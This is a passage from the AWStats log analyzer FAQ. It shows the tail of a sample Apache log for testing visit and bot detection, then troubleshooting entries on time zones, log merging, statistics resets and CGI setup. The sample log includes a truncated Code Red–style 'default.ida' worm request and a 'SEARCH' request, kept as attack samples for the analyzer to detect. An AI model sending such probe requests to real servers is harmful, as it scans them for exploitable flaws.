HTTP/1.0" 200 7009 "http://localhost/page1.html" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:25 +0100] "GET /page3 HTTP/1.0" 200 7009 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:30 +0100] "GET /image.gif HTTP/1.0" 200 7009 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:35 +0100] "GET /image2.png HTTP/1.0" 200 7009 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:40 +0100] "GET /dir/favicon.ico HTTP/1.0" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:40 +0100] "GET /favicon.ico HTTP/1.0" 200 299 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" + +80.8.55.1 - - [01/Jan/2001:12:00:00 +0100] "GET / HTTP/1.0" 200 7009 "http://WWW.SiteRefereR:80/cgi-bin/azerty.pl?q=a" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:10 +0100] "GET /page1.html HTTP/1.0" 200 7009 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:20 +0100] "GET /page2.cgi HTTP/1.0" 200 7009 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:25 +0100] "GET /page3 HTTP/1.0" 200 7009 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:30 +0100] "GET /image.gif HTTP/1.0" 200 7009 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:35 +0100] "GET /image2.png HTTP/1.0" 200 7009 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:40 +0100] "GET /js/awstats_misc_tracker.js HTTP/1.1" 200 4998 "-" "Mozilla/4.7 [fr] (Win95; I)" +80.8.55.1 - - [01/Jan/2001:12:00:45 +0100] "GET /js/awstats_misc_tracker.js?screen=1024x768&cdi=32&java=true&shk=n&fla=y&rp=y&mov=n&wma=y&pdf=y&uid=awsuser_id1073036758306r9417&sid=awssession_id1073036758306r9417 HTTP/1.1" 200 4998 "-" "Mozilla/4.7 [fr] (Win95; I)" + +80.8.55.2 - - [01/Jan/2001:12:01:00 +0100] "GET /hitfromothersitetoimage.gif HTTP/1.0" 200 7009 "-" "Mozilla/5.0+(Macintosh;+U;+PPC+Mac+OS+X+Mach-O;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1" + +80.8.55.3 - - [01/Jan/2001:12:01:10 +0100] "GET / HTTP/1.0" 200 7009 "http://www.sitereferer:81/cgi-bin/azerty.pl" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" +80.8.55.3 - - [01/Jan/2001:12:01:15 +0100] "GET /page1.html HTTP/1.0" 200 7009 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" +80.8.55.3 - - [01/Jan/2001:12:01:20 +0100] "GET /page2.cgi?x=a&family=a&y=b&familx=x HTTP/1.0" 200 7009 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" +80.8.55.3 - - [01/Jan/2001:12:01:25 +0100] "GET /page3 HTTP/1.0" 200 7009 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" +80.8.55.3 - - [01/Jan/2001:12:01:30 +0100] "GET /image.gif HTTP/1.0" 200 7009 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" +80.8.55.3 - - [01/Jan/2001:12:01:35 +0100] "GET /image2.png HTTP/1.0" 200 7009 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1" + +80.8.55.4 - - [01/Jan/2001:12:01:45 +0100] "GET /samevisitorthan80.8.55.3usingaolproxy.gif HTTP/1.0" 200 7009 "-" "Mozilla/3.0 (Windows 98; U) Opera 6.03" + +80.8.55.5 - - [01/Jan/2001:12:02:00 +0200] "GET /robots.txt HTTP/1.0" 200 299 "-" "This is an unkown user agent" +80.8.55.5 - - [01/Jan/2001:12:02:00 +0200] "GET /mydir/robots.txt HTTP/1.0" 200 299 "-" "This is an unkown user agent" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot1.html HTTP/1.0" 200 7009 "-" "GoogleBot" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot2a.html HTTP/1.0" 200 7009 "-" "This is bot xxx" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot2b.html HTTP/1.0" 200 7009 "-" "This_is_bot_xxx" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot3.html HTTP/1.0" 200 7009 "-" "This is sucker xxx" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot4.html HTTP/1.0" 200 7009 "-" "woozweb-monitoring" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot5.html HTTP/1.0" 200 7009 "-" "wget" +80.8.55.5 - - [01/Jan/2001:12:02:05 +0200] "GET /pagefromabot6.html HTTP/1.0" 200 7009 "-" "libwww" + +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /cgi-bin/order.cgi?x=a&family=a&productId=998&titi=i&y=b&y=b HTTP/1.0" 200 7009 "http://www.google.com/search?sourceid=navclient&ie=utf-8&oe=utf-8&q=ma%C3%AEtre+�l�ve" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /images/image1.gif HTTP/1.0" 200 364 "http://www.google.fr/search?q=cache:dccTQ_Zn4isJ:www.chiensderace.com/cgi-bin/liste_annonces.pl%3FTYPE%3D5%26ORIGINE%3Dchiensderace+labrador+chiensderace&hl=en&lr=lang_en|lang_fr&ie=UTF-8" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /images/image2.gif HTTP/1.0" 200 364 "http://www.google.fr/search?q=cache:dccTQ_Zn4isJ:www.chiensderace.com/cgi-bin/liste_annonces.pl%3FTYPE%3D5%26ORIGINE%3Dchiensderace+labrador+chiensderace&hl=en&lr=lang_en|lang_fr&ie=UTF-8" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /images/image3.gif HTTP/1.0" 200 364 "http://www.google.fr/search?q=cache:dccTQ_Zn4isJ:www.chiensderace.com/cgi-bin/liste_annonces.pl%3FTYPE%3D5%26ORIGINE%3Dchiensderace+labrador+chiensderace&hl=en&lr=lang_en|lang_fr&ie=UTF-8" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /images/image4.gif HTTP/1.0" 200 364 "http://www.google.fr/search?q=cache:dccTQ_Zn4isJ:www.chiensderace.com/cgi-bin/liste_annonces.pl%3FTYPE%3D5%26ORIGINE%3Dchiensderace+labrador+chiensderace&hl=en&lr=lang_en|lang_fr&ie=UTF-8" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" +80.8.55.6 - john [01/Jan/2001:13:00:00 +0100] "GET /images/image5.gif HTTP/1.0" 200 364 "http://www.google.fr/search?q=cache:dccTQ_Zn4isJ:www.chiensderace.com/cgi-bin/liste_annonces.pl%3FTYPE%3D5%26ORIGINE%3Dchiensderace+labrador+chiensderace&hl=en&lr=lang_en|lang_fr&ie=UTF-8" "SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)" + +80.8.55.7 - John Begood [01/Jan/2001:13:01:00 +0100] "GET /cgi-bin/order.cgi;family=f&type=t&productId=999&titi=i#BIS HTTP/1.0" 200 7009 "http://www.a9.com/searchkeyfroma9" "Mozilla/3.01 (compatible;)" +80.8.55.7 - John Begood [01/Jan/2001:13:01:00 +0100] "GET /do/Show;jsessionid=6BEF030AB1677BEC333FFCC7BF4DF564?param=1477 HTTP/1.0" 200 7009 "-" "Mozilla/3.01 (compatible;)" + +80.8.55.8 - - [01/Jan/2001:14:01:20 +0100] "GET /404notfoundpage.html?paramnotpagefound=valparamnotpagefound HTTP/1.0" 404 0 "http://refererto404nofoundpage/pageswithbadlink.html?paramrefnotpagefound=valparamrefnotpagefound" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.8 - - [01/Jan/2001:14:01:20 +0100] "GET /405error.html HTTP/1.0" 405 0 "http://refererto405error/pagesfrom405.html" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" + +80.8.55.9 - - [01/Jan/2001:15:00:00 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.0" 404 299 "-" "-" +80.8.55.9 - - [01/Jan/2001:15:00:00 +0200] "SEARCH / -" 411 - "-" "-" + +80.8.55.10 - - [01/Jan/2001:16:00:00 -0300] "GET / HTTP/1.1" 200 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" +80.8.55.10 - - [01/Jan/2001:16:00:00 -0300] "GET /index.html HTTP/1.1" 200 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" +80.8.55.10 - - [01/Jan/2001:16:00:00 -0300] "GET /index.php HTTP/1.1" 200 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" +80.8.55.10 - - [01/Jan/2001:16:00:00 -0300] "GET / HTTP/1.1" 200 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" + +80.8.55.10 - - [01/Jan/2001:16:00:00 -0300] "GET / HTTP/1.1" 200 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" +80.8.55.10 - - [01/Jan/2001:16:30:00 -0300] "GET /page1.html HTTP/1.1" 200 70476 "http://www.freeweb.hu/icecat/filmek/film04.html" "Mozilla/5.0 (Windows; U; en-US) AppleWebKit/526.9+ (KHTML, like Gecko) AdobeAIR/1.5" +80.8.55.10 - - [01/Jan/2001:17:00:00 -0300] "GET /cgi-bin/awredir.pl?url=http://xxx.com/aa.html HTTP/1.1" 302 70476 "http://us.f109.mail.yahoo.com/ym/ShowLetter?box=Inbox&MoreYahooParams..." "Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0" +</pre></i> +</td></tr></table><br> +<u>This is what you should find:</u><br> +6 true human visits<br> +5 different true visitors<br> +1 bot visit<br> +1 worm attack<br> +The entry pages for true visits should be "/" (even for 80.8.55.1) or "/cgi-bin/order.cgi" but nothing else.<br> +Note: I did not find any commercial log analyzer that can deal such a common log file correctly, so if you find, let me know !<br> +<br> + +<a name="DIFFERENCE_HOURS"></a><br> +<b><u>FAQ-COM300 : DIFFERENCE BETWEEN LOCAL HOURS AND AWSTATS REPORTED HOURS</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I use IIS and there's a difference between local hour and AWStats reported hour. For example I made a hit on a page +at 4:00 and AWStats report I hit it at 2:00.<br> +<font class=CSolution>SOLUTION:</font><br> +This is not a problem of time in your local client host. +AWStats use only time reported in logs by your server +and all time are related to server hour. The problem is that IIS in some foreign +versions puts GMT time in its log file (and not local time). So, you have also +GMT time in your statistics.<br> +You can wait that Microsoft change this in next IIS versions. +However, Microsoft sheet Q271196 "IIS Log File Entries Have the Incorrect Date and Time Stamp" says: <br> +<i>The selected log file format is the W3C Extended Log File +Format. The extended log file format is defined in the W3C +Working Draft WD-logfile-960323 specification by Phillip +M. Hallam-Baker and Brian Behlendorf. This document defines +the Date and Time files to always be in GMT. This behavior +is by design.</i><br> +So this means this way of working might never be changed, so another chance is to use the AWStats plugin 'timezone'. +Warning, this plugin need the perl module Time::Local and it reduces seriously AWStats speed.<br> +To enable the plugin, uncomment the following line in your config file.<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +LoadPlugin="timezone TZ"<br> +</td></tr></table> +where TZ is value of your signed timezone (+2 for Paris, -8 for ...)<br> +<br> + +<a name="GEOIPEU"></a><br> +<b><u>FAQ-COM320 : WHAT DOES "EU" (EUROPEAN COUNTRY)" MEAN IN GEOIP COUNTRY REPORTS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I use the <a href="awstats_contrib.html#geoip">AWStats GeoIp country plugins</a> to report countries according +to geolocalisation of IP address. +In country report, I have some visitors said to come from "eu (European country)". If this visitor +come from France, does this means it is reported twice ?<br> +<font class=CSolution>SOLUTION:</font><br> +No.<br> +"eu (European country)" means we are sure that visitor come from an european country but we can't tell +wich one. It might be a major country like France, Great Britain, Spain, Germany... like a very small one.<br> +So, in the country report, each visitor is in one and only one group. If reported in "eu (European country)", +it is not counted in another country, and if reported in a particular country, it is not counted in "eu (European country)", +even if this country is in Europe.<br> +<br> + +<a name="OLDLOG"></a><br> +<b><u>FAQ-COM350 : HOW CAN I PROCESS AN OLD LOG FILE ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to process an old log file to include its data in my AWStats reports.<br> +<font class=CSolution>SOLUTION:</font><br> +You must change your <a href="awstats_config.html#LogFile">LogFile</a> parameter to point to the old log file and run +the update (or use the -LogFile option on command line to overwrite <a href="awstats_config.html#LogFile">LogFile</a> parameter). +The update process can only accept files in chronological order for a particular month, so if you +have already processed a recent file and forgot to run update +on a log file that contains older data, you must reset all of +your statistics (see <a href="#FAQ-COM500">FAQ-COM500</a>) and restart all of the update processes +for all past log files and in chronological order.<br> +However, there is a "tip" that allows you to rebuild only the month were you missed data:<br> +Imagine we are on 5th of July 2003, all your statistics are up to date except for the 10th of +April 2003 (you forgot to run the update process for this day, so there is no visit for this +day). You can :<br> +- Reset the statistics for April only (this means remove the file <i>awstats042003.[config.]txt</i> +as explained in <a href="#FAQ-COM500">FAQ-COM500</a>),<br> +- Move the statistics history files for the month after April (file <i>awstats052003.[config.]txt</i>, +<i>awstats062003.[config.]txt</i>,...) into a temp directory (so that it is no longer in the DirData +directory; as if they were deleted).<br> +- Run the update process on all log files for April (in chronological order). AWStats does not +complain about "too old record" because there is no history files in DirData directory +that contains compiled data more recent than records into log you process.<br> +- Moved back the month history files you saved into your DirData directory.<br> +Your statistics are up to date and the missing days are no longer missing.<br> +<br> + +<a name="MULTILOG"></a><br> +<b><u>FAQ-COM360 : HOW CAN I PROCESS SEVERAL LOG FILES IN ONE RUN ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +How can I update my statistics for several log file, in one run ?<br> +<font class=CSolution>SOLUTION:</font><br> +A solution should be to setup your config file with something like:<br> +<i>LogFile=mylog*.log</i><br> +However, with such a syntax, AWStats can't know in wich order processing log files (wich log file is the first, next or last). So +to work like this you must use the following syntax:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/pathto/logresolvemerge.pl mylog*.log |"<br> +</td></tr></table> +<br> +<a href="awstats_tools.html#logresolvemerge">Logresolvemerge</a> is a tool provided with +AWStats (in tools directory) that merges several log files on the fly. It opens a pointer on each file +and sends, line by line, the oldest record from this. Using such a tool as a pipe source for AWStats <a href="awstats_config.html#LogFile">LogFile</a> +parameter is a very good solution because, it allows you to merge log files whatever their size +with no memory use, no hard disk use (no temporary files built), it is fast, it prevents +you from a bad order if your log files are not correctly ordered, etc...<br> +This tool can also be used to process log files from load balanced systems (see <a href="awstats_faq.html#LOADLOG">FAQ-COM400</a>)<br> +<br> + +<a name="LOADLOG"></a><br> +<b><u>FAQ-COM400 : HOW CAN I UPDATE MY STATISTICS WHEN I USE A LOAD BALANCING SYSTEM THAT SPLITS MY LOGS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +How can I update my statistics when i use a load balancing system that split my logs ?<br> +<font class=CSolution>SOLUTION:</font><br> +First solution is to merge all split log files resulted from all your load balanced servers into one. For this, you can use +the <a href="awstats_tools.html#logresolvemerge">logresolvemerge</a> tool provided with AWStats :<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +logresolvemerge.pl file1.log file2.log ... filen.log > newfiletoprocess.log +</td></tr></table> +And setup the <a href="awstats_config.html#LogFile">LogFile</a> parameter in your config file to process the <i>newfiletoprocess.log</i> file or use +the <i>-LogFile</i> command line option to overwrite <a href="awstats_config.html#LogFile">LogFile</a> value.<br> +<br> +As an other solution, if you miss disk space, or to save time, you can ask <a href="awstats_tools.html#logresolvemerge">logresolvemerge</a> +to merge log files on the fly during the AWStats update process. For this, you can use the following syntax in your AWStats config file:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/pathto/logresolvemerge.pl file*.log |"<br> +</td></tr></table> +<br> +See also <a href="awstats_faq.html#MULTILOG">FAQ-COM360</a> for explanation on logresolvemerge use.<br> +<br> + +<a name="RESET"></a><br> +<b><u>FAQ-COM500 : HOW CAN I RESET ALL MY STATISTICS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to reset all my statistics to restart the update process from the beginning.<br> +<font class=CSolution>SOLUTION:</font><br> +All analyzed data are stored by AWStats in history files called <i>awstatsMMYYYY.[config.]txt</i> (one file each month). +You will find those files in directory defined by <a href="awstats_config.html#DirData">DirData</a> parameter (same directory than awstats.pl by default).<br> +To reset all your statistics, just delete all files <i>awstatsMMYYYY.txt</i><br> +To reset all your statistics built for a particular config file, just delete all files <i>awstatsMMYYYY.myconfig.txt</i><br> +Warning, if you delete those data files, you won't be able to recover your stats back, unless you +kept old log files somewhere. You will have to process all past log files (in chronological order) +to get your statistics back.<br> +<br> + +<a name="DAILY"></a><br> +<b><u>FAQ-COM600 : HOW CAN I COMPILE AND BUILD STATISTICS ON A DAILY BASIS ONLY ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +How can I compile and build statistics on a daily basis. I mean i want to have a full report +with all charts with data for a particular day only and want one report for each day of month.<br> +<font class=CSolution>SOLUTION:</font><br> +<b>If you use version 6.5 or higher:</b><br> +<u>To build statistics:</u><br> +What you can do is rerun the update process by adding the parameter <i>-databasebreak=hour</i> or <i>-databasebreak=day</i>. +Providing no option is similar than using <i>-databasebreak=month</i>, the default and old behaviour of AWStats.<br> +Using this hidden option will ask AWStats to build a different database file for each break entity, +this means that several reports are done for each hour or day, depending on option used.<br> +<u>To read a report:</u><br> +Add same option <i>-databasebreak=hour</i> or <i>-databasebreak=day</i> with <i>-output</i> option +when AWStats report is staticaly built from command line, or add <i>&databasebreak=hour</i> or +<i>&databasebreak=day</i> if AWStats is called as a CGI. +Also, complete options month and year used to choose month and year of report with other option +<i>day</i> (when databasebreak option is 'day' or 'hour') and <i>hour</i> (only when databasebreak is 'hour')<br> +So use <i>-day=XX</i> and/or <i>-hour=XX</i> when AWStats is run from command line. Use <i>&day=XX</i> and/or <i>&hour=XX</i> +if AWStats is called as a CGI.<br> +This feature is recent so may have results not completely reliable, that's why it is not yet +fully documented.<br> +<b>If you use version 6.4 or older:</b><br> +This is an non documented and not supported trick, as this is not the standard way of working:<br> +First, run the update process at midnight (or on a log file that was rotated at midnight so that +it contains only data for this particular day (you can choose another hour in night if you want +to have days that "start" at an different hour).<br> +Once the update process has been ran, MOVE (and not copy) the history file built by AWStats. For +example on Unix like systems:<br> +<i>mv mydirdata/awstatsMMYYYY.mydomain.txt mydirdate/awstatsDDMMYYYY.mydomain.txt</i><br> +Note that the name has been changed by adding the day. Repeat this each day after the update process.<br> +With this you will have one history file for each day. You can then see full stats for +a particular day by adding the non documented parameter -day=DD on command line (with others +like -month=MM and -year=YYYY). If ran from a browser you can also add &day=DD on URL.<br> +However, if you have full day by day statistics, you don't have anymore statistics for full month, +except if you create a second config file that whose history files would not be moved.<br> +<br> + +<a name="EDITHISTORY"></a><br> +<b><u>FAQ-COM700 : CAN I SAFELY REMOVE A LINE IN HISTORY FILES (awstatsMMYYYY*.txt) ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +After processing a log file I want to change my statistics +without running AWStats update process but changing directly data in AWStats historical database files.<br> +<font class=CSolution>SOLUTION:</font><br> +If you remove a lines starting with "BEGIN_" or "END_", AWStats will find your file "corrupted" so you must not change those +two kinds of lines.<br> +You can change, add or remove any line that is in any sections but if you do this, you must +also update the MAP section (lines between BEGIN_MAP and END_MAP) because this section contains the offset in +file of each other sections for direct I/O access. +If history file is the last one, you can easily do that by removing completely the MAP section and run an update process. +Like that AWStats will rewrite the history file and the MAP section will be rewritten (MAP section is not read by +update process, only written). You do this at your own risk. The main risk is that some charts will report wrong values +or be unavailable.<br> +<br> + + +<hr><br> + + +<a name="MISSINGDOLLAR"></a><br> +<b><u>FAQ-SET050 : ERROR "MISSING $ ON LOOP VARIABLE ..."</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When I run awstats.pl from command line, I get:<br> +<i>"Missing $ on loop variable at awstats.pl line xxx"</i><br> +<font class=CSolution>SOLUTION:</font><br> +Problem is in your Perl interpreter. Try to install or reinstall a more recent/stable Perl interpreter.<br> +You can get new Perl version at <a href="http://www.activestate.com/ActivePerl/">ActivePerl</a> (<font color=#221188>Win32</font>) +or <a href="http://www.perl.com/pub/language/info/software.html">Perl.com</a> (<font color=#221188>Unix/Linux/Other</font>).<br> +<br> + +<a name="CGISOURCE"></a><br> +<b><u>FAQ-SET100 : I SEE PERL SCRIPT'S SOURCE INSTEAD OF ITS EXECUTION</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When I try to execute the Perl script through the web server, +I see the Perl script's source instead of the HTML result page of its execution !<br> +<font class=CSolution>SOLUTION:</font><br> +This is not a problem of AWStats but a problem in your web server setup. +awstats.pl file must be in a directory defined in your web server to be a "cgi" directory, +this means, a directory configured in your web server to contain "executable" files and +not to documents files. +You have to read your web server manual to know how to setup a directory to be an +"executable cgi" directory (With IIS, you have some checkbox to check in directory +properties, with Apache you have to use the "ExecCGI" option in the directory "Directive").<br> +<br> + +<a name="SPAWNERROR"></a><a name="INTERNAL"></a><br> +<b><u>FAQ-SET150 : INTERNAL ERROR 500 IN MY BROWSER</u></b><br> +<b><u>FAQ-SET200 : ERROR "... COULDN'T CREATE/SPAWN CHILD PROCESS..."</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +AWStats seems to run fine at the command prompt but when ran as a CGI from a browser, I get an <i>"Internal Error 500"</i>.<br> +I also also might have the following message in my Apache error log file (or in browser with Apache 2.0+):<br> +<i>...couldn't create/spawn child process: c:/mywebroot/cgi-bin/awstats.pl</i><br> +<font class=CSolution>SOLUTION:</font><br> +First, try to run awstats.pl from command line to see if file is correct. If you get some +syntax errors and use a Unix like OS, check if your file is a Unix like text file (This +means each line end with a LF char and not a CR+LF char).<br> +If awstats.pl file runs correctly from command line, this is probably because your +web server is not able to known how to run perl scripts. This problem can occur with Apache web +servers with no internal Perl interpreter (mod_perl not active). To solve this, you must +tell Apache where is your external Perl interpreter.<br> +<u>For this, you have 2 solutions:</u><br> +1) Add the following directive in your Apache <b>httpd.conf</b> config (or remove the # to uncomment it if line is already available)<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ScriptInterpreterSource registry +</td></tr></table> +Then restart Apache. This will tell Apache to look into the registry to find the program associated to .pl extension.<br> +2) Other solution (not necessary if first solution works): Change the first line of awstats.pl file with the full path of your Perl interpreter.<br> +Example with Windows OS and ActivePerl Perl interpreter (installed in C:\Program Files\ActiveState\ActivePerl), +you must change the first line of awstats.pl file with:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +#!c:/program files/activestate/activeperl/bin/perl +</td></tr></table> +<br> + +<a name="CRASH"></a><a name="CRASH"></a><br> +<b><u>FAQ-SET220 : CRASH WHILE RUNNING AWSTATS.PL OR PAGE CONTENT ONLY PARTIALY LOADED ON WINDOWS XP</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +Sometimes my browser (Most often IE6) crash while running awstats.pl with some AWStats configuration. +With some other versions or browsers, page content is partialy loaded.<br> +<font class=CSolution>SOLUTION:</font><br> +Problem was with WinXP and WinXPpro as documented at MS site Q317949;<br> +"Socket Sharing Creates Data Loss When Listen and Accept Occur on Different Processes"<br> +Result was that MSIE would crash or display nothing. Netscape and Opera handled the socket better but displayed the pages partially.<br> +The effect of the bug was more prononced as the page contents increased (above 30k).<br> +<a href="http://support.microsoft.com/default.aspx?scid=kb;EN-US;q317949">http://support.microsoft.com/default.aspx?scid=kb;EN-US;q317949</a><br> +And also at Apache.org<br> +<a href="http://www.apache.org/dist/httpd/binaries/win32/">http://www.apache.org/dist/httpd/binaries/win32/</a><br> +MS produced a Hotfix which is now included in SP1.<br> +But the best solution is to use a better web browser. Take a look at <a href="http://www.mozilla.org/products/firefox/">Firefox</a>, +one of the best and most popular web browser.<br> +<br> + +<a name="CORRUPTEDDROPPED"></a><br> +<b><u>FAQ-SET270 : ONLY CORRUPTED OR DROPPED RECORDS</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +After running an AWStats update process, all my records are reported to be corrupted or dropped<br> +<font class=CSolution>SOLUTION:</font><br> +First, if you have only a small percent of corrupted or dropped records, don't worry. This +is a normal behaviour. Few corrupted or dropped records can appear in a log file because of +internal web server bug, virus attack, error writing, log purge or rotate during a writing, etc...<br> +However, if ALL your records are reported to be corrupted or dropped, check the following things:<br> +If they are all dropped, run the update process from command line adding the option -showdropped<br> +-> You will be able to know why a dropped record is discarded. In most cases, this is because you use a +too large or bad filter parameter (SkipFiles, SkipHosts, OnlyFiles ...).<br> +If they are all corrupted, run the update process from command line adding the option -showcorrupted<br> +-> You will be able to know why a corrupted record is discarded.<br> +If this is because of the log format, check the <a href="#EMPTY_STATS">FAQ-SET350</a> about log format errors.<br> +If this is because the date of a record is said to be lower than date of previous, this means +that you ran update processes on different log files without keeping the chronological order +of log files.<br> +If this is because the date is invalid, you might have a problem of date not computed correctly +this it happens in some Pentium4/Xeon4 processors:<br> +On some (few) Intel Pentium4 (also Xeon4) based host systems, log file time can not be computed +correctly. This is not an issue of AWStats itself. This error usually occurs on source-based linux +distributions (gentoo, slackware etc.), where all system libraries are compiled with CPU optimization. +AWStats is a highly developed PERL application. PERL itself relies on some system libraries, +for example GLIBC. The GLIBC library usually is buggy in this case. There is an easy way to figure +out whether the problem described here is responsible for AWStats problems on your system:<br> +If you have shell access to your machine, simply type the following command:<br> +<i>perl -e "print int ('541234567891011165415658')"</i><br> +(NOTE: any 25-digit number works, there is no need to type this exact number)<br> +If everything goes fine, you should see a floating point number as output:<br> +<i>5.41234567891011e+23</i><br> +In this case, please do more research on your log file formats. Your host system itself is not +responsible for the error.<br> +But if simply a "0" returns or some other error, this is an indication of your glibc beeing corrupt.<br> +ATTENTION: The only solution in this case might be to recompile your GLIBC. This can be a quite tricky +task. Please consult the documentation and F.A.Q.s of your linux distribution first!! (experts: first +check your global compile flags, eg. march=Pentium4. Trying with other compile flags can solve problem +quickly in some cases.<br> +NOTE: In some cases, this error might occur "suddenly", even though AWStats was already running +perfect already.<br> +<br> + +<a name="NOTSAMENUMBER"></a><br> +<b><u>FAQ-SET280 : ERROR "NOT SAME NUMBER OF RECORDS OF..."</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When I run AWStats from command line (or as a cgi from a browser), I get +a message "Not same number of records of ...".<br> +<font class=CSolution>SOLUTION:</font><br> +This means your AWStats reference database files (operating systems, browsers, robots...) are not correct. +First try to update to last version. Then check in your disk that you have only ONE of those files. They should be +in '<b>lib</b>' directory ('db' with 4.0) where awstats.pl is installed:<br> 